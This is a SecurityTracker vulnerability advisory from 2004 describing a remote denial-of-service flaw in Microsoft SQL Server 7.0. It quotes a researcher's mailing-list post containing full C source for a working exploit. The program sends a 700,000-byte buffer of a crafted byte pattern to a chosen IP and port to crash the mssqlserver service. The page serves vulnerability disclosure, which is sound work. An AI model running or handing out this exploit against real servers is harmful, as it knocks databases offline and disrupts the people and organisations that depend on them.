SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service
Report a Bug
Report a vulnerability that you have found to SecurityTracker
bugs
@
securitytracker.com






Category:   Application (Database)  >   Microsoft SQL Server Vendors:   Microsoft
Microsoft SQL Server Can Be Crashed By Remote Users Sending a Specially Crafted Large Buffer
SecurityTracker Alert ID:  1011434
SecurityTracker URL:  http://securitytracker.com/id/1011434
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Sep 28 2004
Impact:   Denial of service via network
Exploit Included:  Yes  
Version(s): 7.0 SP3 and prior
Description:   securma massine reported a denial of service vulnerability in Microsoft SQL Server 7.0. A remote user can cause the target database service to crash.

It is reported that a remote user can supply a large buffer with specially crafted data to cause the 'mssqlserver' service to crash.

A 700000 byte buffer consisting of the following character string repeated can trigger the flaw:

\x10\x00\x00\x10\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc

Impact:   A remote user can cause the database service to stop.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.microsoft.com/ (Links to External Site)
Cause:   Exception handling error
Underlying OS:   Windows (NT), Windows (2000), Windows (2003), Windows (XP)

Message History:   None.


 Source Message Contents

Date:  Mon, 27 Sep 2004 23:52:37 GMT
Subject:  MSSQL 7.0 DoS


/* Microsoft mssql 7.0 server is vulnerable to denial of service attack
 * By sending a large buffer with specified data an attacker can stop 
the service
 * "mssqlserver" the error noticed is different according to services' 
pack but the result is always
 * the same one.
 *  Exception Codes = c0000005
 * vulnerable:  MSSQL7.0 sp0 - sp1 - sp2 - sp3
 * This code is for educational purposes, I am not responsible for your acts
 * Greets:sm0g DEADm|x #crack.fr itmaroc and evryone who I forgot */

#include <stdio.h>
#include <winsock.h>

#pragma comment(lib,"ws2_32")
u_long resolv(char*);


void main(int argc, char **argv) {
 WSADATA WinsockData;
 SOCKET s;
 int i;
 struct sockaddr_in vulh;
 char buffer[700000];
 for(i=0;i<700000;i+=16)memcpy(buffer+i,"\x10\x00\x00\x10\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc",16);


 if (argc!=3) {
  printf("  MSSQL denial of service\n");
  printf("    by securma massine\n");
  printf("Cet outil a ete cree pour test ,je ne suis en aucun cas 
responsable des degats que vous pouvez en faire\n");
  printf("Syntaxe: MSSQLdos <ip> <port>\n");
  exit(1);
 }

 WSAStartup(0x101,&WinsockData);
 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

 ZeroMemory(&vulh,sizeof(vulh));
 vulh.sin_family=AF_INET;
 vulh.sin_addr.s_addr=resolv(argv[1]);
 vulh.sin_port=htons(atoi(argv[2]));
 if (connect(s,(struct sockaddr*)&vulh,sizeof(vulh))==SOCKET_ERROR) {
  printf("Impossible de se connecter...le port est en generale 1433...\n");
  exit(1);
 }

  {
  send(s,buffer,sizeof(buffer),0);
 
  printf("Data envoyes...\n");
 }
 printf("\nattendez quelques secondes et verifiez que le serveur ne 
repond plus.\n");
 closesocket(s);
 WSACleanup();
}


u_long resolv(char *host_name) {
 struct in_addr addr;
 struct hostent *host_ent;

 if ((addr.s_addr = inet_addr(host_name)) == -1) {
  if (!(host_ent = gethostbyname(host_name))) {
   printf ("Erreur DNS : Impossible de résoudre l'adresse %s 
!!!\n",host_name);
   exit(1);
  }
  CopyMemory((char *)&addr.s_addr,host_ent->h_addr,host_ent->h_length);
 }
 return addr.s_addr;
}

 


<http://s0b.bluestreak.com/ix.e?hy&s=368626&a=275635> Forfait AOL ADSL 5 
Méga à 22.90EUR/mois ! <http://s0b.bluestreak.com/ix.e?hy&s=368626&a=275635>
 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

Copyright 2012, SecurityGlobal.net LLC